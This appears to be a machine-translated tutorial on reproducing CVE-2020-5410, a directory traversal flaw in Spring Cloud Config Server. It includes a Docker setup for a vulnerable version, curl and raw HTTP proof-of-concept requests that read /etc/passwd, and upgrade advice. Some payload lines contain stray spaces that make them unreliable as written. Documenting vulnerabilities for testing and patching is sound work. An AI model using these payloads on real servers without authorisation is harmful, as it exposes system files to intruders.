What about the reproduction of Spring Cloud Config directory traversal vulnerability CVE-2020-5410?
Spring Cloud Config directory traversal vulnerability CVE-2020-5410 recurrence of how, I believe that many inexperienced people are helpless about this, for this reason this article summarizes the causes of the problem and solutions, through this article I hope you can solve this problem.
Spring Cloud Config Directory Crossing Vulnerability
(CVE-2020-5410)
I. Brief introduction of vulnerability
Spring Cloud Config, version 2.2.x before 2.2.3, version 2.1.x before 2.1.9, and older unsupported versions allow applications to supply arbitrary configuration files via the spring-cloud-config-server module. Malicious users or attackers can send requests using crafted URLs, which could lead to directory traversal attacks.
II. Impact version
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
III. Vulnerability Environment & Vulnerability Recurrence
PoC:
curl "vulnerablemachine:port/..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252Fetc%252Fpasswd%23foo/development"
curl "127.0.0.1:8888/..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252Fetc%252Fpasswd%23foo/development"
docker environment deployment:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
Visit address: 192.168.0.110:8888/
Executive POC:
curl "192.168.0.110:8888/..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252Fetc%252Fpasswd%23foo/development"
Burp performs visits:
Detailed data package:
GET /..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252F..% 252Fetc%252Fpasswd%23foo/development HTTP/1.1
Host: 192.168.0.110:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
System Execution Access Record:
IV. Suggestions for repair:
Upgrade to Spring Cloud Config to version 2.2.3 or 2.1.9 and place Spring-Cloud-Config-Server services on the intranet while using Spring Security for authentication. Download the latest version at github.com/spring-cloud/spring-cloud-config/releases
After reading the above content, do you know how to reproduce the Spring Cloud Config directory penetration vulnerability CVE-2020-5410? If you still want to learn more skills or want to know more related content, welcome to pay attention to the industry information channel, thank you for reading!
